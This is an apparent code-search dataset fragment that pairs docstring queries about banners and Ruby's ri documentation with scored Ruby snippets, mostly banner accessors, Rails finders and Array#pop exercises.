"467142581e3f6eeea65cca5a74fdd29a", "score": "0.5679387", "text": "def get_value(row, col)\n return @rectangle[row][col]\n end", "title": "" } ]
1f44c95fca37732a2b082e555da61fb9
Get or set the banner. banner The String to set the banner. Returns the banner String.
[ { "docid": "3b41fee783f6810e1902450b35b2b63c", "score": "0.79167193", "text": "def banner(banner = nil)\n config[:banner] = banner if banner\n config[:banner]\n end", "title": "" } ]
[ { "docid": "1f749636f7eb15b8ada86c321f624554", "score": "0.81443655", "text": "def banner(banner = nil)\n @banner = banner if banner\n @banner\n end", "title": "" }, { "docid": "3a7dc697c6d8bdddf135f2410b7f2fae", "score": "0.773959", "text": "def banner=(banner)\n config[:banner] = banner\n end", "title": "" }, { "docid": "560d5f266a58c16581de9871c70bcb0f", "score": "0.77037954", "text": "def banner(text=nil)\n @banner = text if text\n @banner\n end", "title": "" }, { "docid": "560d5f266a58c16581de9871c70bcb0f", "score": "0.77037954", "text": "def banner(text=nil)\n @banner = text if text\n @banner\n end", "title": "" }, { "docid": "560d5f266a58c16581de9871c70bcb0f", "score": "0.77037954", "text": "def banner(text=nil)\n @banner = text if text\n @banner\n end", "title": "" }, { "docid": "560d5f266a58c16581de9871c70bcb0f", "score": "0.77037954", "text": "def banner(text=nil)\n @banner = text if text\n @banner\n end", "title": "" }, { "docid": "7c2d87fef8c307f12bb4d5dd29102f04", "score": "0.7499958", "text": "def banner(text)\n @banner = text\n end", "title": "" }, { "docid": "3d97d53b813d6bc42633b4ad6d9ebf5c", "score": "0.73507077", "text": "def banner(arg=nil)\n @banner = arg if arg\n @banner || description\n end", "title": "" }, { "docid": "d6ab9cc3fa74cee99d3fe53208773598", "score": "0.71124613", "text": "def banner=(banner); end", "title": "" }, { "docid": "d6ab9cc3fa74cee99d3fe53208773598", "score": "0.71124613", "text": "def banner=(banner); end", "title": "" }, { "docid": "63320cf48e19a1fbcbe84fb1b0d4358e", "score": "0.70390844", "text": "def get_banner\n\t\t@banner = Banner.the_current\n\tend", "title": "" }, { "docid": "0a1e009bd709ef603bbfcf2ce128e4fe", "score": "0.70345175", "text": "def banner=(new_banner)\n @option_parser.banner=new_banner\n @user_specified_banner = true\n end", "title": "" }, { "docid": "0a1e009bd709ef603bbfcf2ce128e4fe", "score": "0.70345175", "text": "def banner=(new_banner)\n @option_parser.banner=new_banner\n @user_specified_banner = true\n end", "title": "" }, { "docid": "0a1e009bd709ef603bbfcf2ce128e4fe", "score": "0.70345175", "text": "def banner=(new_banner)\n @option_parser.banner=new_banner\n @user_specified_banner = true\n end", "title": "" }, { "docid": "6cdd1730141ab96965433dfa06c91fe3", "score": "0.69948715", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "6cdd1730141ab96965433dfa06c91fe3", "score": "0.69948715", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "6cdd1730141ab96965433dfa06c91fe3", "score": "0.69948715", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "6cdd1730141ab96965433dfa06c91fe3", "score": "0.69948715", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "6cdd1730141ab96965433dfa06c91fe3", "score": "0.69948715", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "6cdd1730141ab96965433dfa06c91fe3", "score": "0.69948715", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "6cdd1730141ab96965433dfa06c91fe3", "score": "0.69948715", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "6cdd1730141ab96965433dfa06c91fe3", "score": "0.69948715", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "6cdd1730141ab96965433dfa06c91fe3", "score": "0.69948715", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "6cdd1730141ab96965433dfa06c91fe3", "score": "0.69948715", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "ad0a3e6e4cf3babd828139b5452840cc", "score": "0.6914506", "text": "def set_banner\n @banner = Admin::Banner.find(params[:id])\n end", "title": "" }, { "docid": "905c4713ba801ea037f883053232bd85", "score": "0.6878084", "text": "def banner=(banner)\n\tself.scanner_banners ||= {}\n\tself.scanner_banners[Thread.current.to_s] = banner\nend", "title": "" }, { "docid": "dfe936229859ef1d8540a2c14e94815b", "score": "0.68541515", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "f42cbbc3374c227319a5895ec5372b7b", "score": "0.68360883", "text": "def banner\n self.class.banner\n end", "title": "" }, { "docid": "da6710b65e92f3a0f7da9e6c9839d976", "score": "0.67685175", "text": "def set_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "a1468bdca593d388ca89c25ea1cac936", "score": "0.67512757", "text": "def set_banner\n @banner = params[:id] ? Banner.find(params[:id]) : Banner.new(banner_params)\n end", "title": "" }, { "docid": "f9e36d880adcf62812044dd78a00c9ef", "score": "0.6661936", "text": "def banner\n JSON.pretty_generate({ 'banner' => output(varnishadm(\"banner\"))})\n end", "title": "" }, { "docid": "f554103de2d83b9b67e4dfd285835cf2", "score": "0.66493934", "text": "def set_banner\n @banner = Banner.find(params[:id])\n # @portal_style = @banner.portal_style\n end", "title": "" }, { "docid": "7d225ca6b30d481ecd2c3b5915ff80b4", "score": "0.65777755", "text": "def print_banner\n if @banner\n banner_hash = @banner.hash.to_s[0..4]\n banner_update = @server_link.update_banner_if_needed banner_hash\n @banner = banner_update unless banner_update == true\n else\n @banner = @server_link.get_banner\n end\n \n say @banner\n end", "title": "" }, { "docid": "b941736cdda960740e0d783f3eb0688f", "score": "0.6513192", "text": "def banner(text)\n # returns Shoes::Banner\n throw NotImplementedError\n end", "title": "" }, { "docid": "16993527e74dd653eb7f1b6475c29492", "score": "0.6455981", "text": "def banner\n return $0\n end", "title": "" }, { "docid": "85a409432f003abdb1e41f323a147ac5", "score": "0.64388025", "text": "def banner_text\n banner_text = ENV.key?('ENVIRONMENT_BANNER') ? ENV['ENVIRONMENT_BANNER'] : ''\n ENV['ENVIRONMENT_BANNER'].freeze unless banner_text.empty?\n end", "title": "" }, { "docid": "c6b69521b76d153a19bd32783b7eb33b", "score": "0.6428484", "text": "def banner_url\n return @banner_url unless @banner_url.nil?\n p= \"/\" + @@settings.images_dir + \"/banner\" + @path.gsub(/\\.html$/, \".jpg\")\n unless File.exists?(@@settings.views + p)\n p = parent ? parent.banner_url : \"/\" + @@settings.images_dir + \"/banner/default.jpg\"\n end\n @banner_url = p\n return @banner_url\n end", "title": "" }, { "docid": "0e62958119fa4c96e4fec81faad73022", "score": "0.6378091", "text": "def set_admin_banner\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "dfb3f30be70c492a618c664cdcb0c27a", "score": "0.63197887", "text": "def banner_text\n banner_text = ENV.has_key?('ENVIRONMENT_BANNER') ? ENV['ENVIRONMENT_BANNER'] : ''\n if !banner_text.empty?\n ENV['ENVIRONMENT_BANNER'].freeze\n end\n end", "title": "" }, { "docid": "d054b3e0d95a91f97388c0b46d0f1d76", "score": "0.62927884", "text": "def set_attribute\n @banner = Banner.find(params[:id])\n end", "title": "" }, { "docid": "453ef1683c489998b2ae94625ece7173", "score": "0.627437", "text": "def set_banner(banner)\n begin\n @parsed.banner banner\n rescue NameError\n raise CursorNotRunning.new \"Cursor isn't running... are you sure \" +\n \"you're calling this from an action block?\"\n end\n end", "title": "" }, { "docid": "4c69028ba3e66ed725c4471b4feb3ddc", "score": "0.6251416", "text": "def banner\n\tself.scanner_banners ||= {}\n\tself.scanner_banners[Thread.current.to_s]\nend", "title": "" }, { "docid": "a19a1073781273ea9f2707aa89ebec7a", "score": "0.6209058", "text": "def banner(banner, options)\n if banner\n puts banner\n else\n # Usage needs to know about the defined options.\n usage(options)\n end\n end", "title": "" }, { "docid": "f63071988d7239333fc155704e583240", "score": "0.6202815", "text": "def banner_src\n chapter = featured_chapters.first\n chapter.present? ? chapter.banner(:medium) : nil\n end", "title": "" }, { "docid": "1ffb7d3511986382423a8e56395f9494", "score": "0.61782545", "text": "def set_adm_banner\n @adm_banner = Adm::Banner.find(params[:id])\n end", "title": "" }, { "docid": "38b851b5e53590ba890ebcba477d33bf", "score": "0.61554956", "text": "def get_episode_banner(banner)\n Curl::Easy.perform(\"http://www.thetvdb.com/banners/#{banner}\").body_str\n end", "title": "" }, { "docid": "36b59c04804c242d49a5a3a7a4d3194c", "score": "0.61248225", "text": "def set_banner\n @banner = Banner.find(params[:id])\n @categories = Category.all\n end", "title": "" }, { "docid": "97b4513b1277dc3a71a5aa1c48d65ad1", "score": "0.60836273", "text": "def banner\n <<~'TEXT'\n ___ _ _ _ _\n / __\\ | ___ _ _ __| | |_ __ _ ___| | _____ _ __\n / / | |/ _ \\| | | |/ _` | __/ _` / __| |/ / _ \\ '__|\n / /___| | (_) | |_| | (_| | || (_| \\__ \\ < __/ |\n \\____/|_|\\___/ \\__,_|\\__,_|\\__\\__,_|___/_|\\_\\___|_|\n\n TEXT\n end", "title": "" }, { "docid": "a6756d01dc5b8f0201175895674089d3", "score": "0.60616416", "text": "def advert_banner\n \t\n end", "title": "" }, { "docid": "c1aa358383f6ce284913e686ca545184", "score": "0.6055283", "text": "def banner\n raise \"Command.banner should be overriden by subclasses\"\n end", "title": "" }, { "docid": "2db21eaf2516a2cb4391d43ecd95de4c", "score": "0.60520357", "text": "def banner; end", "title": "" }, { "docid": "2db21eaf2516a2cb4391d43ecd95de4c", "score": "0.60520357", "text": "def banner; end", "title": "" }, { "docid": "2db21eaf2516a2cb4391d43ecd95de4c", "score": "0.60520357", "text": "def banner; end", "title": "" }, { "docid": "2db21eaf2516a2cb4391d43ecd95de4c", "score": "0.60520357", "text": "def banner; end", "title": "" }, { "docid": "e994c87297a75259720fa6b152561fcf", "score": "0.6036621", "text": "def set_banner btype\n case btype\n when 'biz', 'mbr'; set_biz_banner 'User', 'user_band'\n when 'pub', 'edu'; set_biz_banner 'Site', 'group_band'\n else set_loc_banner\n end\n end", "title": "" }, { "docid": "a1a12b7181a519e45f853a07228e3bc9", "score": "0.6017745", "text": "def banner\n banner = \"\"\"\n /$$ /$$ /$$ /$$ /$$ /$$ /$$ \n | $$ | $$ | $/ | $$ | $$|__/| $$ \n | $$ /$$$$$$ /$$$$$$|_//$$$$$$$ | $$ | $$ /$$| $$ /$$ /$$$$$$ \n | $$ /$$__ $$|_ $$_/ /$$_____/ | $$$$$$$$| $$| $$ /$$/ /$$__ $$\n | $$ | $$$$$$$$ | $$ | $$$$$$ | $$__ $$| $$| $$$$$$/ | $$$$$$$$\n | $$ | $$_____/ | $$ /$$\\____ $$ | $$ | $$| $$| $$_ $$ | $$_____/\n | $$$$$$$$| $$$$$$$ | $$$$//$$$$$$$/ | $$ | $$| $$| $$ \\ $$| $$$$$$$\n |________/ \\_______/ \\___/ |_______/ |__/ |__/|__/|__/ \\__/ \\_______/\n \"\"\"\n puts banner\n end", "title": "" }, { "docid": "e40ecd5702cc7b2ef0392d9fdc415b20", "score": "0.60142595", "text": "def banner\n puts BANNER\n puts\n puts\n end", "title": "" }, { "docid": "e40ecd5702cc7b2ef0392d9fdc415b20", "score": "0.60142595", "text": "def banner\n puts BANNER\n puts\n puts\n end", "title": "" }, { "docid": "e40ecd5702cc7b2ef0392d9fdc415b20", "score": "0.60142595", "text": "def banner\n puts BANNER\n puts\n puts\n end", "title": "" }, { "docid": "6a1f2856abce55d07c51888dab0d3ac2", "score": "0.60071826", "text": "def get_banner\n cn = controller.controller_name\n\n logger.debug \"\\nCONTROLLER NAME\\n\" + cn + \"\\n\"\n\n re = Regexp.new('^' + cn + 'banner')\n images_dir = '/home/polaris/rail_me/polaris/public/images'\n banners = Dir.entries(images_dir).select { |file|\n re.match(file)\n }\n return '/images/' + banners[rand(banners.length)]\n end", "title": "" }, { "docid": "a15b68608e9cd8ec8a2c38de01f3c7ec", "score": "0.59837615", "text": "def banner\n \"[#{name}] \"\n end", "title": "" }, { "docid": "36ed7ff7b839b2f98044596a7ea784f2", "score": "0.5968972", "text": "def getOptionsBanner\n return ''\n end", "title": "" }, { "docid": "36ed7ff7b839b2f98044596a7ea784f2", "score": "0.5968972", "text": "def getOptionsBanner\n return ''\n end", "title": "" }, { "docid": "80e40b8ed9347a05bb6b34e38b27ef02", "score": "0.5955454", "text": "def banner_file\n @banner_file ||= begin\n # Find Banner filename\n banner_info = CollectionBrandingInfo.where(collection_id: id, role: \"banner\")\n filename = File.split(banner_info.first.local_path).last unless banner_info.empty?\n alttext = banner_info.first.alt_text unless banner_info.empty?\n relative_path = \"/\" + banner_info.first.local_path.split(\"/\")[-4..-1].join(\"/\") unless banner_info.empty?\n { filename: filename, relative_path: relative_path, alt_text: alttext }\n end\n end", "title": "" }, { "docid": "48afdc34ff7425100fef49e53f9b590f", "score": "0.5921467", "text": "def set_banner(banner)\n begin\n @cursor.banner = banner\n rescue NameError\n raise CursorNotRunning.new \"Cursor isn't running... are you sure \" +\n \"you're calling this from an action block?\"\n end\n end", "title": "" }, { "docid": "c3e0f4994716372a991d80bc6466d8c5", "score": "0.58898705", "text": "def set_admin_banner\n @admin_banner = Admin::Banner.find(params[:id])\n end", "title": "" }, { "docid": "c3e0f4994716372a991d80bc6466d8c5", "score": "0.58898705", "text": "def set_admin_banner\n @admin_banner = Admin::Banner.find(params[:id])\n end", "title": "" }, { "docid": "c3e0f4994716372a991d80bc6466d8c5", "score": "0.58898705", "text": "def set_admin_banner\n @admin_banner = Admin::Banner.find(params[:id])\n end", "title": "" }, { "docid": "18140c0fd5411979657084220cb0cf1e", "score": "0.58865494", "text": "def umd_lib_environment_banner\n if !@@banner_initialized\n # Uses @@banner_initialized to skip regenerating HTML each time the\n # method is called.\n banner = UMDLibEnvironmentBannerHelper.initialize\n\n # ENVIRONMENT_BANNER_ENABLED always takes precedence\n if ENV['ENVIRONMENT_BANNER_ENABLED'] == 'false'\n return @@banner_html = nil\n end\n\n if banner.enabled?\n css_options = banner.css_options\n # Sort to get consistent ordering of keys\n css_string = css_options.sort.to_h.map { |key,value| \"#{key}='#{value}'\" }.join(\" \")\n banner_text = banner.text\n @@banner_html = \"<div #{css_string}>#{banner_text}</div>\".html_safe\n return @@banner_html\n else\n @@banner_html = nil\n end\n end\n @@banner_html\n end", "title": "" }, { "docid": "dc9837ad4615d01a3c701dfe2df4af2c", "score": "0.58789974", "text": "def set_cms_banner\n @cms_banner = CmsBanner.find(params[:id])\n end", "title": "" }, { "docid": "25533f33b6133479c013905b6b8ff942", "score": "0.5872009", "text": "def banner\n\t\tver=read_ver\n\t\tart=\",--. ,--. ,--. ,--. ,--.\n| | | | ,---. | |-. | `.' | ,--,--. ,---. ,---. ,---. ,--.--.\n| |.'.| || .-. :| .-. ' | |'.'| |' ,-. || .-. || .-. || .-. :| .--'\n| ,'. |\\ --.| `-' | | | | |\\ '-' || '-' '| '-' '\\ --.| |\n'--' '--' `----' `---' `--' `--' `--`--'| |-' | |-' `----'`--'\n `--' `--' \"\n\t\tstring = \"-\"*80 + \"\\n\" + art + \"\\n\" + \"Version: \" + ver[\"version\"] + \"\\tRelease Date: \" + ver[\"date\"] + \"\\nDesigned and developed by: \" + ver[\"author\"] + \"\\nEmail: \" + ver[\"email\"] + \"\\tLinkedIn: \" + ver[\"linkedin\"] + \"\\n\" + \"-\"*80\n\tend", "title": "" }, { "docid": "40ca71800ca311c1bb2232829d933528", "score": "0.58500785", "text": "def banner_url(server_id, banner_id, format = 'webp')\n \"#{cdn_url}/banners/#{server_id}/#{banner_id}.#{format}\"\n end", "title": "" }, { "docid": "dd1d5c138f4f6a48e6360b29b67ea56d", "score": "0.584232", "text": "def banner()\n\n file = File.open(\"resources/banner.txt\", \"r\")\n\n puts file.read()\n\n end", "title": "" }, { "docid": "ebb08c9f9892b4055640e6d538104af3", "score": "0.5829264", "text": "def set_banner_section\n @banner_section = BannerSection.find(params[:id])\n end", "title": "" }, { "docid": "32b74efc3d0a9cb6f711d58d931ad39b", "score": "0.57433224", "text": "def copy_banner\r\n @banner = Banner.find(1)\r\nend", "title": "" }, { "docid": "3aa69504fdb10d6f99242d43d5f4322e", "score": "0.5732652", "text": "def update_profile_banner(banner, options = {})\n @req.multipart_post(\"/1.1/account/update_profile_banner.json\", { :banner => banner }, options)\n end", "title": "" }, { "docid": "ae29567a642b4f5fb29c1fb52d923c0f", "score": "0.57091194", "text": "def banner\n %q{\n _ _\n | | |\n ___ ___ _ ____ _____ _ __ __ _ __| | |__\n / __/ _ \\| '_ \\ \\ / / _ \\ '__/ _` |/ _` | '_ \\\n | (_| (_) | | | \\ V / __/ | | (_| | (_| | |_) |\n \\___\\___/|_| |_|\\_/ \\___|_| \\__, |\\__,_|_.__/\n __/ |\n |___/ }\n end", "title": "" }, { "docid": "bda24ba577178d2c39ec84800bfcaeb8", "score": "0.5699743", "text": "def scrapeBannerImageURL\n #Banner Image URL\n {\n @imgf::HERO_ID => @heroID,\n @imgf::TYPE => \"banner\",\n @imgf::NAME => \"banner\",\n @imgf::URL => @doc.xpath(\"//div[@class='hero-bnr']/img/@src\").text.strip\n }\n end", "title": "" }, { "docid": "4120ada60ceb713142db4228f6004ab8", "score": "0.56918764", "text": "def initialize(banner = \"Loading\")\n @banner = banner\n end", "title": "" }, { "docid": "49ac6e34b3d6d2950c0553ccc9edaf66", "score": "0.56585467", "text": "def banner(banner = T.unsafe(nil)); end", "title": "" }, { "docid": "49ac6e34b3d6d2950c0553ccc9edaf66", "score": "0.56585467", "text": "def banner(banner = T.unsafe(nil)); end", "title": "" }, { "docid": "49ac6e34b3d6d2950c0553ccc9edaf66", "score": "0.56585467", "text": "def banner(banner = T.unsafe(nil)); end", "title": "" }, { "docid": "49ac6e34b3d6d2950c0553ccc9edaf66", "score": "0.56585467", "text": "def banner(banner = T.unsafe(nil)); end", "title": "" }, { "docid": "098221d3f5530685f19975917d9b956b", "score": "0.5653533", "text": "def banner=(_arg0); end", "title": "" }, { "docid": "098221d3f5530685f19975917d9b956b", "score": "0.5653533", "text": "def banner=(_arg0); end", "title": "" }, { "docid": "098221d3f5530685f19975917d9b956b", "score": "0.5653533", "text": "def banner=(_arg0); end", "title": "" }, { "docid": "0817d4821de696a76721c97d61de3ed6", "score": "0.56503975", "text": "def banner?\n !@banner.nil?\n end", "title": "" }, { "docid": "3b24a29c44205ada260a87edf0775c85", "score": "0.56340116", "text": "def banner(line)\n @banner_lines << line\n end", "title": "" }, { "docid": "07daa3a17b167a61205203c73afb4503", "score": "0.56034535", "text": "def get_banner_text()\n\tbanner = @driver.find_element(id: 'flash_success')\n\tbanner_text = banner.text\nend", "title": "" }, { "docid": "bb266e0d135450cdec47c9d05d5f5c11", "score": "0.55729485", "text": "def banner (*args)\n slop.banner(*args)\n end", "title": "" }, { "docid": "e813e0828b84b94931299bfd2e9f998b", "score": "0.55654913", "text": "def api_banner_url\n begin\n if default = self.value_for(\"api_banner_url\")\n default\n else\n slides = Setting.slides(self.default_website)\n if slides.size > 1\n slides.sample.slide.url(:original, false)\n else\n nil\n end\n end\n rescue\n \"\"\n end\n end", "title": "" }, { "docid": "e813e0828b84b94931299bfd2e9f998b", "score": "0.55654913", "text": "def api_banner_url\n begin\n if default = self.value_for(\"api_banner_url\")\n default\n else\n slides = Setting.slides(self.default_website)\n if slides.size > 1\n slides.sample.slide.url(:original, false)\n else\n nil\n end\n end\n rescue\n \"\"\n end\n end", "title": "" }, { "docid": "8d9b3dfdb29c6433f729c22eac5d63fb", "score": "0.5548455", "text": "def to_banner(text)\n banner = Banner.new(@height)\n text.upcase.split('').each do |ch|\n banner = banner.add(@chars[@chars[ch] ? ch : '?'])\n end\n banner\n end", "title": "" }, { "docid": "276c83401e5e4498f48a1aef365403fd", "score": "0.55451196", "text": "def banner\n print_line BANNER\n print_line\n print_line\n end", "title": "" }, { "docid": "8444634bb5b5ae88dac2f1d64da1fb80", "score": "0.54960257", "text": "def on_banner( &block )\n @on_banner = block\n end", "title": "" }, { "docid": "34054ffb9e808fde0db7a1aada144f52", "score": "0.54918176", "text": "def entry_banner\n 'One-on-One'\n end", "title": "" }, { "docid": "0915f6190824a9b0b609e96bb60fbd03", "score": "0.54881406", "text": "def set_banner_type\n @banner_type = BannerType.find(params[:id])\n end", "title": "" }, { "docid": "1bfa5707c979bc097523b78d54d871ac", "score": "0.54802585", "text": "def set_banner\n @use_banner = true\n @relation_tags = @profile.relations_from(current_profile)\n @public_filters = @profile.filters.opt_in\n @other_profiles = @profile.user.profiles.find(@profile.exposed_profiles)\n @following_count = @profile.following_profiles_count\n @followers_count = @profile.followed_by_profiles_count\n end", "title": "" }, { "docid": "117047cfe7f02f6848572e283529f2a3", "score": "0.54581213", "text": "def banner\n lines = []\n \n name_line = \"#{ name } role\"\n lines << name_line\n lines << \"=\" * name_line.length\n lines << ''\n if meta['description']\n lines << meta['description']\n lines << ''\n end\n lines << 'usage:'\n # lines << \" qb #{ name } [OPTIONS] DIRECTORY\"\n lines << \" #{ usage }\"\n lines << ''\n lines << 'options:'\n \n lines.join(\"\\n\")\n end", "title": "" }, { "docid": "c512e2c744170c4051698b90f50894c1", "score": "0.5448146", "text": "def set_main_banner\n @main_banner = MainBanner.find(params[:id])\n end", "title": "" } ]
f9482814aa9aedb81472aed96efb827a
print documentation ri 'Arraypop' Array.ri Array.ri :pop arr.ri :pop
[ { "docid": "3f906ebcb0f26cfa4a2636af088b4537", "score": "0.0", "text": "def ri(method = nil)\n unless method && method =~ /^[A-Z]/ # if class isn't specified\n klass = self.kind_of?(Class) ? name : self.class.name\n method = [klass, method].compact.join('#')\n end\n puts `ri '#{method}'`\n end", "title": "" } ]
[ { "docid": "6443a91ca6105f53058a972562e71c71", "score": "0.79918486", "text": "def using_pop(array)\n array.pop()\nend", "title": "" }, { "docid": "84e3d5bb90b63617dcf6e07d1839aa73", "score": "0.79756606", "text": "def \n \n using_pop(array)\n \n\n array.pop()\n \nend", "title": "" }, { "docid": "15ed98629562a28cc097abdf9c473c3e", "score": "0.79281354", "text": "def pop\r\n @arr.shift\r\n end", "title": "" }, { "docid": "ce004db43d54fe2a65efdb3743a76536", "score": "0.7905605", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "3f1985682bd7a32fd2fa4d50f5dd9655", "score": "0.78682816", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "bfd35728a3f3efcbe6ba4eb2f6e8f22a", "score": "0.7848014", "text": "def using_pop(arr)\n arr.pop\nend", "title": "" }, { "docid": "dd3adcaaf90655b71093041586eb45fc", "score": "0.78194535", "text": "def using_pop(array)\n element = array.pop\n element\nend", "title": "" }, { "docid": "b0ee3c31840a55fb9ef1315b0933876b", "score": "0.77934664", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "b0ee3c31840a55fb9ef1315b0933876b", "score": "0.77934664", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "b0ee3c31840a55fb9ef1315b0933876b", "score": "0.77934664", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "b0ee3c31840a55fb9ef1315b0933876b", "score": "0.77934664", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "b0ee3c31840a55fb9ef1315b0933876b", "score": "0.77934664", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "b0ee3c31840a55fb9ef1315b0933876b", "score": "0.77934664", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "b0ee3c31840a55fb9ef1315b0933876b", "score": "0.77934664", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "b0ee3c31840a55fb9ef1315b0933876b", "score": "0.77934664", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "b0ee3c31840a55fb9ef1315b0933876b", "score": "0.77934664", "text": "def using_pop(array)\n array.pop\nend", "title": "" }, { "docid": "0235d059812b0efeffd8e94f6a114f11", "score": "0.7650141", "text": "def using_pop (array)\n return array.pop\nend", "title": "" }, { "docid": "726f00e9eadb816789db0a4f2627cc3a", "score": "0.7580213", "text": "def using_pop(array)\n array = array.pop(1)\n array.pop\n\n\nend", "title": "" }, { "docid": "28722070d72a56b8fca2b206b6ab658e", "score": "0.7478284", "text": "def pop_with_args(array)\n array.pop(2)\n end", "title": "" }, { "docid": "cf770182b2566da37f51587e3592e65c", "score": "0.727981", "text": "def pop_with_args(array)\narray = array.pop(2)\narray.pop(2)\nend", "title": "" }, { "docid": "ae6a3b7434e23b6b6ad03d92804d263c", "score": "0.725039", "text": "def pop\r\n # What does array.pop do? It takes the last \r\n # item of a list. We want this method to return\r\n # the last item. So maybe we can do something like:\r\n # return @data.last\r\n end", "title": "" }, { "docid": "6d0ec92e32ee0762b852e70cc99e4ff9", "score": "0.7202298", "text": "def pop_with_args(array)\n array.pop(2);\nend", "title": "" }, { "docid": "9cd393b1e8b8c7b4888ff47a92aa63b4", "score": "0.7196767", "text": "def pop_from_array(arr)\n arr.size.times do\n puts arr.pop\n end\nend", "title": "" }, { "docid": "fbcd6cb0d70d0420b5e04f7ca5fd1d59", "score": "0.7189641", "text": "def pop()\n v, _ = @array.pop\n v\n end", "title": "" }, { "docid": "fc79dfe096aebc6384e71cc2b9db7b01", "score": "0.7120779", "text": "def \n \n pop_with_args(array)\n # {...}(pop_x_times)\n\n\n array.pop(2)\n \n \n #-X-\n # array.pop()\n # array.pop()\n \nend", "title": "" }, { "docid": "f4c04931f910551ce98df8e1ce8b02da", "score": "0.7117514", "text": "def pop; end", "title": "" }, { "docid": "f4c04931f910551ce98df8e1ce8b02da", "score": "0.7117514", "text": "def pop; end", "title": "" }, { "docid": "f4c04931f910551ce98df8e1ce8b02da", "score": "0.7117514", "text": "def pop; end", "title": "" }, { "docid": "f4c04931f910551ce98df8e1ce8b02da", "score": "0.7117514", "text": "def pop; end", "title": "" }, { "docid": "f4c04931f910551ce98df8e1ce8b02da", "score": "0.7117514", "text": "def pop; end", "title": "" }, { "docid": "416212b7627cda7c2335c9f516507da7", "score": "0.71018606", "text": "def pop_from_array(arr)\n l=arr.length\n l.each do\n num=arr.pop\n puts \"#{num} is removed!\"\n end\nend", "title": "" }, { "docid": "b3f6d8be7f04e00805c0ae588a12cae6", "score": "0.7088891", "text": "def pop_with_args(array)\n array.pop(2)\nend", "title": "" }, { "docid": "b3f6d8be7f04e00805c0ae588a12cae6", "score": "0.7088891", "text": "def pop_with_args(array)\n array.pop(2)\nend", "title": "" }, { "docid": "d80fa10ec5e492d729358f84717d57a1", "score": "0.7070543", "text": "def pop_with_args(array)\n array.pop(2)\nend", "title": "" }, { "docid": "d80fa10ec5e492d729358f84717d57a1", "score": "0.7070543", "text": "def pop_with_args(array)\n array.pop(2)\nend", "title": "" }, { "docid": "d80fa10ec5e492d729358f84717d57a1", "score": "0.7070543", "text": "def pop_with_args(array)\n array.pop(2)\nend", "title": "" }, { "docid": "d80fa10ec5e492d729358f84717d57a1", "score": "0.7070543", "text": "def pop_with_args(array)\n array.pop(2)\nend", "title": "" }, { "docid": "d80fa10ec5e492d729358f84717d57a1", "score": "0.7070543", "text": "def pop_with_args(array)\n array.pop(2)\nend", "title": "" }, { "docid": "d80fa10ec5e492d729358f84717d57a1", "score": "0.7070543", "text": "def pop_with_args(array)\n array.pop(2)\nend", "title": "" }, { "docid": "d80fa10ec5e492d729358f84717d57a1", "score": "0.7070543", "text": "def pop_with_args(array)\n array.pop(2)\nend", "title": "" }, { "docid": "1a5925b358a356898f7b7ae250497878", "score": "0.7070313", "text": "def pop_with_args(array)\n array = array.pop(2)\n array.pop(2)\n \nend", "title": "" }, { "docid": "c318ddf0b24f75b905eadca650932cc9", "score": "0.70557594", "text": "def pop_with_args (array)\n return array.pop(2)\nend", "title": "" }, { "docid": "5ad8e3e56cc2fa79ac6408f4b2b6b5cb", "score": "0.7036398", "text": "def pop_with_args(arr)\n arr.pop(2)\nend", "title": "" }, { "docid": "b7065f85676cdaf653538b47ead4a5f2", "score": "0.7022556", "text": "def pop_with_args(array,numb = 2)\n array.pop(2)\nend", "title": "" }, { "docid": "e3f79ff8f9efd83f9a2c6b269626e34e", "score": "0.70207226", "text": "def pop\n @a.pop\n end", "title": "" }, { "docid": "6add57634c15b6acdbb463f963d3856e", "score": "0.69810396", "text": "def mutate(arr)\n arr.pop\n end", "title": "" }, { "docid": "c5d1b56e54a60fd85ab9786a791279f1", "score": "0.6980316", "text": "def pop\n @mut.synchronize{@array.sort!.pop}\n end", "title": "" }, { "docid": "3173ab47b646dff0c274cbb8bbc65427", "score": "0.6937852", "text": "def pop()\n (@arr1.size-1).times { @arr2.push(@arr1.shift) }\n result = @arr1.shift\n @arr1, @arr2 = @arr2, @arr1\n result\n end", "title": "" }, { "docid": "66ddb4639ee6775d9a1317761cfa4149", "score": "0.68638164", "text": "def pop() end", "title": "" }, { "docid": "5e60800f1b0b4d213eb0a41766da3d74", "score": "0.67311436", "text": "def pop\n end", "title": "" }, { "docid": "59abbcf63cd4c556e5cc742b5cc69afd", "score": "0.6696666", "text": "def mutate(array)\n array.pop \nend", "title": "" }, { "docid": "e8c0c539946d8dd5383110a8028c1301", "score": "0.6678711", "text": "def pop\r\n # IMPLEMENT ME\r\n end", "title": "" }, { "docid": "5e85ae05dabbc41ec54636e96c24bdd1", "score": "0.66506356", "text": "def remove_item(elective_array)\n elective_array.pop\n puts elective_array\nend", "title": "" }, { "docid": "74b48a9fe941a8d256b19f616abead35", "score": "0.6632552", "text": "def pop\n @ivar.pop \n end", "title": "" }, { "docid": "e76cc2d057a752f9050d37652788d1af", "score": "0.6574341", 